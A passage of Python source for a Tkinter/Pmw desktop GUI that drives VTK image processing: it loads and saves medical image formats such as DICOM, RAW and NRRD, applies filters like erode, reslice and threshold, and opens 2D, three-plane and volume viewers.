sticky=W) self.balloon.bind(label, "range of the scalar data (min, max)") frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=NSEW) self.scalarrange = StringVar() self.scalarrange.set("unknown") Label(frame, textvariable=self.scalarrange).pack(side=LEFT, padx=2) button = Button(frame, text='More Info', command=self.moreInfo, anchor="w") button.pack(side=RIGHT, padx=0) self.balloon.bind(button, "print more info concerning the VTK object") def createCreateFrame(self): group = Pmw.Group(self, tag_text='Create') group.pack(fill=X, expand=NO, pady=5) creFrame = group.interior() creFrame.columnconfigure(8, weight=1) nrow = 0 button = Button(creFrame, text='Ellispoid', command=self.creEllispoid, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "create an ellipsoid with the parameters on the right") frame = Frame(creFrame) frame.grid(row=0, column=2, padx=5, pady=2, sticky=W) label = Label(frame, text="C") label.grid(row=0, column=0, padx=5, pady=2, sticky=E) self.balloon.bind(label, "center position (x,y,z) of the ellipsoid") self.cx = IntVar() self.cx.set(127) Entry(frame, textvariable=self.cx, width=5).grid( row=0, column=1, padx=5, pady=2, sticky=W) self.cy = IntVar() self.cy.set(127) Entry(frame, textvariable=self.cy, width=5).grid( row=0, column=2, padx=5, pady=2, sticky=W) self.cz = IntVar() self.cz.set(127) Entry(frame, textvariable=self.cz, width=5).grid( row=0, column=3, padx=5, pady=2, sticky=W) label = Label(frame, text="V") label.grid(row=nrow, column=4, sticky=E) self.balloon.bind(label, "values (in, out) of the ellipsoid") self.valin = IntVar() self.valin.set(255) Entry(frame, textvariable=self.valin, width=5).grid( row=0, column=5, padx=5, pady=2, sticky=W) self.valout = IntVar() self.valout.set(0) Entry(frame, textvariable=self.valout, width=5).grid( row=0, column=6, padx=5, pady=2, sticky=W) label = Label(frame, text="R") label.grid(row=1, column=0, padx=5, pady=2, sticky=E) self.balloon.bind(label, "radii (rx,ry,rz) of the ellipsoid") self.rx = IntVar() self.rx.set(50) Entry(frame, textvariable=self.rx, width=5).grid( row=1, column=1, padx=5, pady=2, sticky=W) self.ry = IntVar() self.ry.set(70) Entry(frame, textvariable=self.ry, width=5).grid( row=1, column=2, padx=5, pady=2, sticky=W) self.rz = IntVar() self.rz.set(90) Entry(frame, textvariable=self.rz, width=5).grid( row=1, column=3, padx=5, pady=2, sticky=W) def createModifyFrame(self): group = Pmw.Group(self, tag_text='Modify/Filters') group.pack(fill=X, expand=NO, pady=5) modFrame = group.interior() modFrame.columnconfigure(5, weight=1) nrow = 0 button = Button(modFrame, text='Flip Image', command=self.modFlip, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "apply a vtkImageFlip") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="Axis") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "Specify axis to flip") self.flipAxis = DoubleVar() self.flipAxis.set(1) Entry(frame, textvariable=self.flipAxis, width=5).pack(side=LEFT, padx=2) button = Button(modFrame, text='Permute', command=self.permute, anchor="w") button.grid(row=nrow, column=2, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Permute Image") frame = Frame(modFrame) frame.grid(row=nrow, column=3, sticky=W+E) label = Label(frame, text="Axis") label.pack(side=LEFT, padx=2) self.balloon.bind( label, "Specify the input axes that will become X, Y, Z") self.axX = DoubleVar() self.axX.set(1) Entry(frame, textvariable=self.axX, width=5).pack(side=LEFT, padx=2) self.axY = DoubleVar() self.axY.set(1) Entry(frame, textvariable=self.axY, width=5).pack(side=LEFT, padx=2) self.axZ = DoubleVar() self.axZ.set(1) Entry(frame, textvariable=self.axZ, width=5).pack(side=LEFT, padx=2) nrow = nrow + 1 button = Button(modFrame, text='Negative', command=self.modNegative, anchor="w") button.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "apply a vtkImageMathematics (SetOperationToInvert)") button = Button(modFrame, text='Distance map', command=self.modCreateSignedEuclideanDistanceMap, anchor="w") button.grid(row=nrow, column=2, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "build the energy map") nrow = nrow+1 button = Button(modFrame, text='Reslice Nearest', command=self.resliceWithNearestNeighbor, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "resliceWithNearestNeighbor") button = Button(modFrame, text='Reslice Linear', command=self.resliceWithLinearInterpolation, anchor="w") button.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "resliceWithLinearInterpolation") button = Button(modFrame, text='Reslice Cubic', command=self.resliceWithCubicInterpolation, anchor="w") button.grid(row=nrow, column=2, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "resliceWithCubicInterpolation") frame = Frame(modFrame) frame.grid(row=nrow, column=3, sticky=W+E) label = Label(frame, text="spacing") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "spacing to witch to reslice") self.spx = DoubleVar() self.spx.set(1) Entry(frame, textvariable=self.spx, width=5).pack(side=LEFT, padx=2) self.spy = DoubleVar() self.spy.set(1) Entry(frame, textvariable=self.spy, width=5).pack(side=LEFT, padx=2) self.spz = DoubleVar() self.spz.set(1) Entry(frame, textvariable=self.spz, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Erode', command=self.erode, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Erode") button = Button(modFrame, text='Dilate', command=self.dilate, anchor="w") button.grid(row=nrow, column=1, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Dilate") frame = Frame(modFrame) frame.grid(row=nrow, column=2, sticky=W+E) label = Label(frame, text="kernel") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "kernel") self.kx = IntVar() self.kx.set(3) Entry(frame, textvariable=self.kx, width=5).pack(side=LEFT, padx=2) self.ky = IntVar() self.ky.set(3) Entry(frame, textvariable=self.ky, width=5).pack(side=LEFT, padx=2) self.kz = IntVar() self.kz.set(3) Entry(frame, textvariable=self.kz, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='OpenClose3D', command=self.openClose3D, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "OpenClose3D") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="openValue") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "openValue") self.openValue = DoubleVar() self.openValue.set(0) Entry(frame, textvariable=self.openValue, width=5).pack(side=LEFT, padx=2) label = Label(frame, text="closeValue") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "closeValue") self.closeValue = DoubleVar() self.closeValue.set(3) Entry(frame, textvariable=self.closeValue, width=5).pack(side=LEFT, padx=2) label = Label(frame, text="kernel") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "kernel") self.kx = IntVar() self.kx.set(3) Entry(frame, textvariable=self.kx, width=5).pack(side=LEFT, padx=2) self.ky = IntVar() self.ky.set(3) Entry(frame, textvariable=self.ky, width=5).pack(side=LEFT, padx=2) self.kz = IntVar() self.kz.set(3) Entry(frame, textvariable=self.kz, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Threshold', command=self.modThreshold, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "threshold image") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="threshold") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "threshold used to segment image") self.th = IntVar() self.th.set(4) Entry(frame, textvariable=self.th, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Extract Iso', command=self.buildIsoValue, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "build the skin of the image using vtkContourFilter\n (resulting mesh on the \"Polydata\" tab)") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="range") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "range used by vtkContourFilter") self.range1 = IntVar() self.range1.set(0) Entry(frame, textvariable=self.range1, width=5).pack(side=LEFT, padx=2) self.range2 = IntVar() self.range2.set(2) Entry(frame, textvariable=self.range2, width=5).pack(side=LEFT, padx=2) nrow = nrow+1 button = Button(modFrame, text='Isosurf', command=self.execIsosurf, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "run Isosurf (resulting mesh on the \"Polydata\" tab)") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="res") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "resolution used by isosurf") self.isores = IntVar() self.isores.set(4) Entry(frame, textvariable=self.isores, width=5).pack(side=LEFT, padx=2) # nrow=nrow+1 # frame = Frame(modFrame); frame.grid(row=nrow, column=2, sticky = W+E) # label = Label(frame, text="exec"); label.pack(side=LEFT, padx=2) # self.balloon.bind(label, "Isosurf executable") # self.isosurf = StringVar(); self.isosurf.set('E:/local/bin/isosurf.v1_5d.exe') # self.isosurfField = Pmw.ScrolledField(frame, entry_width = 30, entry_relief='groove', # text = self.isosurf.get()) # self.isosurfField.pack(side=LEFT, fill=X, expand=YES, padx=2) # button = Button(frame, text="...", command=self.findIsosurf); button.pack(side=LEFT, padx=2) # self.balloon.bind(button, "search for Isosurf exec...") nrow = nrow+1 button = Button(modFrame, text='Geniso', command=self.callGeniso, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Call Geniso") frame = Frame(modFrame) frame.grid(row=nrow, column=1, sticky=W+E) label = Label(frame, text="res") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "resolution used by geniso") self.genisoRes = DoubleVar() self.genisoRes.set(4.0) Entry(frame, textvariable=self.genisoRes, width=5).pack(side=LEFT, padx=2) def createImportFrame(self): group = Pmw.Group(self, tag_text='Import') group.pack(fill=X, expand=NO, pady=5) impFrame = group.interior() impFrame.columnconfigure(7, weight=1) button = Button(impFrame, text='Load VTK', command=self.loadVtkImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vtk file using vtkStructuredPointsReader") button = Button(impFrame, text='Load XML', command=self.loadXmlImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "load a .vti file using vtkXMLImageDataReader") button = Button(impFrame, text='Load RAW', command=self.loadRawImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "load a .raw/.img file using vtkImageReader") button = Button(impFrame, text='Load GE', command=self.loadGEImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "load I.* files using vtkGESignaReader") button = Button(impFrame, text='Load NRRD', command=self.loadNrrdImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "load NRRD files") button = Button(impFrame, text='Load DICOM', command=self.loadDicomImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "load DICOM files using vtkDICOMImageReader") def createExportFrame(self): group = Pmw.Group(self, tag_text='Export') group.pack(fill=X, expand=NO, pady=5) expFrame = group.interior() expFrame.columnconfigure(7, weight=1) frame = Frame(expFrame) frame.pack(side=TOP, fill=X) button = Button(frame, text='Save VTK Image', command=self.saveVtkImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vtk file using vtkStructuredPointsWriter") button = Button(frame, text='Save XML Image', command=self.saveXmlImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( button, "save a .vti file using vtkXMLImageDataWriter") button = Button(frame, text='Save RAW Image', command=self.saveRawImage, anchor="w") button.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind(button, "save a .raw/.img file using vtkImageWriter") frame = Frame(expFrame) frame.pack(side=TOP, fill=X) label = Label(frame, text="type") label.pack(side=LEFT, expand=NO, fill=X, padx=5, pady=5) self.balloon.bind( label, "type of the data to be written in VTK file formats") self.asciiorbin = StringVar() but1 = Radiobutton(frame, text='ascii', variable=self.asciiorbin, value='ascii') but1.pack(side=LEFT) but2 = Radiobutton(frame, text='binary', variable=self.asciiorbin, value='binary') but2.pack(side=LEFT) but2.select() def createViewFrame(self): group = Pmw.Group(self, tag_text='Views') group.pack(fill=X, expand=NO, pady=5) viewFrame = group.interior() viewFrame.columnconfigure(7, weight=1) nrow = 0 button = Button(viewFrame, text='Slice', command=self.viewSlice, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind(button, "Display a 2D slice (with a slider)") frame = Frame(viewFrame) frame.grid(row=nrow, column=1, sticky=W+E) self.sliceno = IntVar() self.sliceno.set(30) label = Label(frame, text="#") label.pack(side=LEFT, padx=2) self.balloon.bind(label, "first slice to be seen") Entry(frame, textvariable=self.sliceno, width=5).pack(side=LEFT, padx=2) label = Label(frame, text="window") label.pack(side=LEFT, padx=2) self.balloon.bind( label, "window ~ brightness.\nvalues below (level-window/2) will be black\nvalues beyond (level+window/2) will be white") self.window = IntVar() self.window.set(3) Entry(frame, textvariable=self.window, width=5).pack(side=LEFT, padx=2) label = Label(frame, text="level") label.pack(side=LEFT, padx=2) self.balloon.bind( label, "level ~ contrast.\nthis value will be middle-gray in the resulting picture") self.level = IntVar() self.level.set(2) Entry(frame, textvariable=self.level, width=5).pack(side=LEFT, padx=2) button = Button(frame, text='Auto', command=self.autoLevel, anchor="w") button.pack(side=LEFT, padx=2) self.balloon.bind(button, "Try to find best values") nrow = nrow+1 button = Button(viewFrame, text='3 Planes', command=self.view3Planes, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "Display the image as 3 intersecting planes\n(press x,y,z for enabling/disabling the planes,\nuse middle mouse button to move the planes)") nrow = nrow+1 button = Button(viewFrame, text='Volumic', command=self.viewVolumic, anchor="w") button.grid(row=nrow, column=0, padx=5, pady=2, sticky=W+E) self.balloon.bind( button, "Display the image using a volumic renderer (ray casting)\nuse \"i\" for enabling/disabling the clipping box widget") def createWidgets(self): self.createDataFrame() if not createExe: self.createCreateFrame() self.createModifyFrame() self.createImportFrame() self.createExportFrame() self.createViewFrame() Frame(self).pack(fill=BOTH, expand=TRUE) # espace vide def codingCallBack(self, val): self.coding.set(val) def creEllispoid(self): ext = (self.extx1.get(), self.extx2.get(), self.exty1.get(), self.exty2.get(), self.extz1.get(), self.extz2.get()) center = (self.cx.get(), self.cy.get(), self.cz.get()) radius = (self.rx.get(), self.ry.get(), self.rz.get()) values = (self.valin.get(), self.valout.get()) coding = self.coding.get() self.image = imagingTools.createEllipsoid( ext, center, radius, coding, values) self.filename.set("") self.fnameField.configure(text=self.filename.get()) self.status.set("Ellipsoid created.") def modNegative(self): if not self.image: self.warningNoImage() self.status.set("Filter canceled.") else: self.image = imagingTools.createNegative(self.image) self.status.set("Negative filter applied.") def modFlip(self): if not self.image: self.warningNoImage() self.status.set("Filter canceled.") else: self.image = imagingTools.flipImage( self.image, self.flipAxis.get()) self.setParamFromImage() self.status.set("Flip filter applied.") def permute(self): if not self.image: self.warningNoImage() self.status.set("Permute canceled.") else: self.image = imagingTools.permute( self.image, self.axX.get(), self.axY.get(), self.axZ.get()) self.setParamFromImage() self.status.set("Image Permuted.") def loadVtkImage(self): fname = tkinter.filedialog.Open(filetypes=[('VTK file', '*.vtk'), ('All Files', '*.*')], initialdir=self.datadir).show() # or self.lastloaddir if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.image = generalTools.loadVtkImage(fname) self.setParamFromImage() self.status.set("Image loaded (VTK).") else: self.status.set("Load canceled.") def saveVtkImage(self): if self.asciiorbin.get() == "ascii" and self.coding.get() == "uchar": tkinter.messagebox.Message(icon='warning', type='ok', message="Saving a \"uchar image\" in ASCII will produce" " a \"float image\"\n(maybe a VTK bug?)\n" "\n=>Use binary instead of ASCII\n", title='Warning').show() if self.image: fname = tkinter.filedialog.SaveAs(filetypes=[('VTK file', '*.vtk')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.saveVtkImage( fname, self.image, self.asciiorbin.get(), self.coding.get()) self.status.set("Image saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningNoImage() self.status.set("Save canceled.") def loadXmlImage(self): fname = tkinter.filedialog.Open(filetypes=[('VTK file', '*.vti'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.image = generalTools.loadVtkImageXML(fname) self.setParamFromImage() self.status.set("Image loaded (XML).") else: self.status.set("Load canceled.") def saveXmlImage(self): if self.image: fname = tkinter.filedialog.SaveAs(filetypes=[('VTK file', '*.vti')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.saveVtkImageXML( fname, self.image, self.asciiorbin.get(), self.coding.get()) self.status.set("Image saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningNoImage() self.status.set("Save canceled.") def loadDicomImage(self): dname = tkinter.filedialog.askdirectory( parent=root, initialdir=self.lastloaddir, title='Choose a DICOM directory') if dname: self.lastloaddir = dname self.image = generalTools.loadDicomImage(dname) self.setParamFromImage() self.status.set("Image loaded (DICOM).") else: self.status.set("Load canceled.") def loadRawImage(self): fname = tkinter.filedialog.Open(filetypes=[('Analyze file', '*.img'), ('Raw file', '*.raw'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) ext = (self.extx1.get(), self.extx2.get(), self.exty1.get(), self.exty2.get(), self.extz1.get(), self.extz2.get()) sp = (self.sx.get(), self.sy.get(), self.sz.get()) self.image = generalTools.loadRawImage( fname, extent=ext, spacing=sp, coding=self.coding.get(), byteorder=self.byteorder.get()) self.setParamFromImage() self.status.set("Image loaded (RAW).") else: self.status.set("Load canceled.") def saveRawImage(self): if self.image: fname = tkinter.filedialog.SaveAs(filetypes=[('All files', '*.*')], initialdir=self.lastsavedir).show() if fname: self.lastsavedir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) generalTools.saveRawImage(fname, self.image, self.coding.get()) self.status.set("Image saved as %s." % fname) else: self.status.set("Save canceled.") else: self.warningNoImage() self.status.set("Save canceled.") def loadGEImage(self): fname = tkinter.filedialog.Open(filetypes=[('GE Signa file', '*.001'), ('All files', '*.*')], initialdir=self.lastloaddir).show() # possibilité d'utiliser tkFileDialog.askdirectory(parent=root,initialdir="/",title='Choisissez un repertoire') if fname: self.lastloaddir = os.path.split(fname)[0] dirname = os.path.split(fname)[0] self.image = generalTools.loadGenesisImage( dirname, (1, len(os.listdir(dirname))-1)) self.setParamFromImage() self.status.set("Image loaded (GE Signa).") else: self.status.set("Load canceled.") def loadNrrdImage(self): fname = tkinter.filedialog.Open(filetypes=[('NRRD file', '*.nrrd'), ('All Files', '*.*')], initialdir=self.lastloaddir).show() if fname: self.lastloaddir = os.path.split(fname)[0] self.filename.set(fname) self.fnameField.configure(text=self.filename.get()) self.image = generalTools.loadNRRDImage(fname) self.setParamFromImage() self.status.set("Image loaded (NRRD).") else: self.status.set("Load canceled.") def loadDicomImage(self): dname = tkinter.filedialog.askdirectory( parent=root, initialdir=self.lastloaddir, title='Choose a DICOM directory') if dname: self.lastloaddir = dname self.image = generalTools.loadDicomImage(dname) self.setParamFromImage() self.status.set("Image loaded (DICOM).") else: self.status.set("Load canceled.") # def findIsosurf(self): # fname = tkFileDialog.Open(filetypes=[('Isosurf Executable','*.exe')]).show() # if fname: # self.isosurf.set(fname) # self.status.set("Isosurf set to %s." % fname) # self.isosurfField.configure(text = self.isosurf.get()) # else: # self.status.set("Canceled.") def execIsosurf(self): if self.image: polydata = meshingTools.callIsosurf(self.image, self.isores.get()) self.mainW.setPolydata(polydata) else: self.warningNoImage() self.status.set("Execute Isosurf canceled.") # if self.filename.get()!="": # range=(1,255) # ext = (self.extx2.get()-self.extx1.get()+1,self.exty2.get()-self.exty1.get()+1,self.extz2.get()-self.extz1.get()+1) # print ext # sp = (self.sx.get(),self.sy.get(),self.sz.get()) # print sp # codflag='c' # 'c'='uchar' 'u'='ushort' # filter ='b' # 'n'= none 'o'=opening, 'c' = closing, 'b'=both (default) # cmd = "\"%s\" -t %d,%d -i %s -d %d,%d,%d -s %g,%g,%g -r %g -f %s -m %s" % (self.isosurf.get(), # range[0], range[1], self.filename.get(), ext[0],ext[1], ext[2], # sp[0], sp[1], sp[2], self.isores.get(), codflag, filter); # self.status.set("Exec Isosurf.") # print "exec:", cmd # import os # try: # os.system(cmd) # except: # tkMessageBox.Message(icon='warning', type='ok', message='Error in isosurf!', title='Warning').show() # return # polydata = generalTools.off2vtk(name="surface.off") # self.mainW.setPolydata(polydata) # else: # tkMessageBox.Message(icon='warning', type='ok', # message='Image must be saved to/loaded from disk!', # title='Warning').show() # self.status.set("Exec Isosurf cancelled.") def buildIsoValue(self): if self.image: polydata = imagingTools.createContourPolydata( self.image, value=(self.range1.get(), self.range2.get())) polydata.Update() self.mainW.setPolydata(polydata) self.status.set("Skin has been extracted.") else: self.warningNoImage() self.status.set("Skin extraction canceled.") def callGeniso(self): if self.image: import meshingToolsGeniso polydata = meshingToolsGeniso.callGeniso( self.image, self.genisoRes.get()) self.mainW.setPolydata(polydata) self.status.set("Polydata has been created.") else: self.warningNoImage() self.status.set("Geniso call canceled.") def modThreshold(self): if self.image: #self.image = imagingTools.thresholdByUpper(self.image,self.th.get(),self.th.get(),0) self.image = imagingTools.thresholdByUpper( self.image, self.th.get(), 3, 0) self.status.set("Image has been thresholded.") else: self.warningNoImage() self.status.set("Threshold canceled") def modCreateSignedEuclideanDistanceMap(self): if self.image: self.status.set("Creating Signed Euclidean Distance Map...") self.image = imagingTools.createSignedEuclideanDistanceMap( self.image) self.filename.set("") self.fnameField.configure(text=self.filename.get()) self.setParamFromImage() self.status.set("Signed Euclidean Distance Map created.") else: self.warningNoImage() self.status.set("Signed Euclidean Distance Map canceled.") def resliceWithNearestNeighbor(self): if self.image: self.image = imagingTools.resliceWithNearestNeighbor( self.image, [self.spx.get(), self.spy.get(), self.spz.get()]) self.setParamFromImage() self.status.set("Image has been resliced.") else: self.warningNoImage() self.status.set("Reslice canceled") def resliceWithLinearInterpolation(self): if self.image: self.image = imagingTools.resliceWithLinearInterpolation( self.image, [self.spx.get(), self.spy.get(), self.spz.get()]) self.setParamFromImage() self.status.set("Image has been resliced.") else: self.warningNoImage() self.status.set("Reslice canceled") def resliceWithCubicInterpolation(self): if self.image: self.image = imagingTools.resliceWithCubicInterpolation( self.image, [self.spx.get(), self.spy.get(), self.spz.get()]) self.setParamFromImage() self.status.set("Image has been resliced.") else: self.warningNoImage() self.status.set("Reslice canceled") def erode(self): if self.image: self.image = imagingTools.erode( self.image, [self.kx.get(), self.ky.get(), self.kz.get()]) self.status.set("Erode filter has been applied.") else: self.warningNoImage() self.status.set("Erode canceled") def dilate(self): if self.image: self.image = imagingTools.erode( self.image, [self.kx.get(), self.ky.get(), self.kz.get()]) self.status.set("Dilate filter has been applied.") else: self.warningNoImage() self.status.set("Dilate canceled") def openClose3D(self): if self.image: self.image = imagingTools.openClose3D(self.image, self.openValue.get( ), self.closeValue.get(), [self.kx.get(), self.ky.get(), self.kz.get()]) self.status.set("OpenClose3D filter has been applied.") else: self.warningNoImage() self.status.set("OpenClose3D canceled") def viewSlice(self): if self.image: global root self.vtkwin = Toplevel(root) self.vtkwin.title('2D Slice Viewer') self.vtkwin.resizable(width=NO, height=NO) size = (self.extx2.get()-self.extx1.get(), self.exty2.get()-self.exty1.get()) range = (self.extz1.get(), self.extz2.get()) win = VtkWindow2D(self.vtkwin, size, range) win.view(self.image, self.sliceno.get(), self.window.get(), self.level.get()) self.status.set("Viewing 2D Slice...") else: self.warningNoImage() self.status.set("View canceled.") def view3Planes(self): if self.image: global root self.vtkwin = Toplevel(root) self.vtkwin.title('3D Plane Viewer') win = VtkWindow3Planes(self.vtkwin) win.view(self.image, self.window.get(), self.level.get()) self.status.set("Viewing 3 Planes...") else: self.warningNoImage() self.status.set("View canceled.") def viewVolumic(self): if self.image: global root self.vtkwin = Toplevel(root) self.vtkwin.title('Volume Renderer') win = VtkWindowVolumic(self.vtkwin) win.view(self.image) self.status.set("Viewing Volumic...") else: self.warningNoImage() self.status.set("View canceled.") def setParamFromImage(self): if self.image: type = self.image.GetScalarType() if type == vtk.VTK_UNSIGNED_CHAR: self.coding.set('uchar') self.codingCombo.selectitem('uchar') elif type == vtk.VTK_UNSIGNED_SHORT: self.coding.set('ushort') self.codingCombo.selectitem('ushort') elif type == vtk.VTK_SHORT: self.coding.set('short') self.codingCombo.selectitem('ushort') elif type == vtk.VTK_DOUBLE: self.coding.set('double') self.codingCombo.selectitem('double') else: tkinter.messagebox.Message(icon='warning', type='ok', message='Unsupported format (%s)!' % self.image.GetScalarTypeAsString( ), title='Warning').show() ext = self.image.GetExtent() self.extx1.set(ext[0]) self.extx2.set(ext[1]) self.exty1.set(ext[2]) self.exty2.set(ext[3]) self.extz1.set(ext[4]) self.extz2.set(ext[5]) sp = self.image.GetSpacing() self.sx.set(sp[0]) self.sy.set(sp[1]) self.sz.set(sp[2]) self.scalarrange.set("(%g,%g)" % self.image.GetScalarRange()) def warningNoImage(self): tkinter.messagebox.Message(icon='warning', type='ok', message='No image in memory!', title='Warning').show() def saveConfig(self, var, file): #file.write('self.%s.isosurf.set("%s")\n' % (var,self.isosurf.get())) file.write('self.%s.coding.set("%s")\n' % (var, self.coding.get())) file.write('self.%s.byteorder.set("%s")\n' % (var, self.byteorder.get())) file.write('self.%s.sx.set(%g)\n' % (var, self.sx.get())) file.write('self.%s.sy.set(%g)\n' % (var, self.sy.get())) file.write('self.%s.sz.set(%g)\n' % (var, self.sz.get())) file.write('self.%s.extx1.set(%d)\n' % (var, self.extx1.get())) file.write('self.%s.extx2.set(%d)\n' % (var, self.extx2.get())) file.write('self.%s.exty1.set(%d)\n' % (var, self.exty1.get())) file.write('self.%s.exty2.set(%d)\n' % (var, self.exty2.get())) file.write('self.%s.extz1.set(%d)\n' % (var, self.extz1.get())) file.write('self.%s.extz2.set(%d)\n' % (var, self.extz2.get())) file.write('self.%s.window.set(%d)\n' % (var, self.window.get())) file.write('self.%s.level.set(%d)\n' % (var, self.level.get())) file.write('self.%s.sliceno.set(%d)\n' % (var, self.sliceno.get())) if not createExe: file.write('self.%s.range1.set(%d)\n' % (var, self.range1.get())) file.write('self.%s.range2.set(%d)\n' % (var, self.range2.get())) file.write('self.%s.isores.set(%d)\n' % (var, self.isores.get())) file.write('self.%s.cx.set(%d)\n' % (var, self.cx.get())) file.write('self.%s.cy.set(%d)\n' % (var, self.cy.get())) file.write('self.%s.cz.set(%d)\n' % (var, self.cz.get())) file.write('self.%s.valin.set(%d)\n' % (var, self.valin.get())) file.write('self.%s.valout.set(%d)\n' % (var, self.valout.get())) file.write('self.%s.asciiorbin.set("%s")\n' % (var, self.asciiorbin.get())) def loadConfig(self): # synchro uniqt self.codingCombo.selectitem(self.coding.get()) #self.isosurfField.configure(text = self.isosurf.get()) def moreInfo(self): if self.image: win = Toplevel(root) win.title("Image info") msgFrame = Pmw.ScrolledText(win, vscrollmode='dynamic', hscrollmode='dynamic', text_width=40, text_height=20, text_wrap='none') msgFrame.insert('end', str(self.image)) #msgFrame = Message(win, text=str(self.image), bg="white", fg="red") msgFrame.pack(fill=BOTH, expand=YES) win.transient(root) else: self.warningNoImage() def autoLevel(self): if self.image: range = self.image.GetScalarRange() self.window.set(range[1]-range[0]) self.level.set((range[1]+range[0])/2) else: self.warningNoImage() # ---------------------------------------------------------------------- class PolyDataFrame(Frame): def __init__(self, master, status, mainW): Frame.__init__(self, master) self.mainW = mainW self.status = status self.balloon = Pmw.Balloon(master) # aide "ballon" self.polydata = None # polydata self.vtkwin = None # fenetre VTK self.lastloaddir = '.' self.lastsavedir = '.' self.createWidgets() # self.loadConfig() def createDataFrame(self): frame1 = Frame(self, bd=1, relief=GROOVE) frame1.pack(fill=X, expand=NO) Label(frame1, text="Surface mesh", bg='gray', fg='black').pack( expand=YES, fill=X, padx=2, pady=2) frame2 = Frame(frame1) frame2.pack(fill=X, expand=NO) # la colonne 2 (vide) va pouvoir s'agrandir frame2.columnconfigure(2, weight=1) nrow = 0 # first line label = Label(frame2, text="filename") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "filename of the polydata") self.filename = StringVar() self.filename.set('') self.fnameField = Pmw.ScrolledField(frame2, entry_width=30, entry_relief=GROOVE, text=self.filename.get()) self.fnameField.grid(row=nrow, column=1, padx=5, pady=2, columnspan=2, sticky=NSEW) nrow = nrow+1 Label(frame2, text="size").grid( row=nrow, column=0, padx=5, pady=2, sticky=W) frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=W) self.nbpts = IntVar() self.nbpts.set(0) Label(frame, textvariable=self.nbpts).pack(side=LEFT) Label(frame, text="points and").pack(side=LEFT) self.nbcells = IntVar() self.nbcells.set(0) Label(frame, textvariable=self.nbcells).pack(side=LEFT) Label(frame, text="cells.").pack(side=LEFT) button = Button(frame, 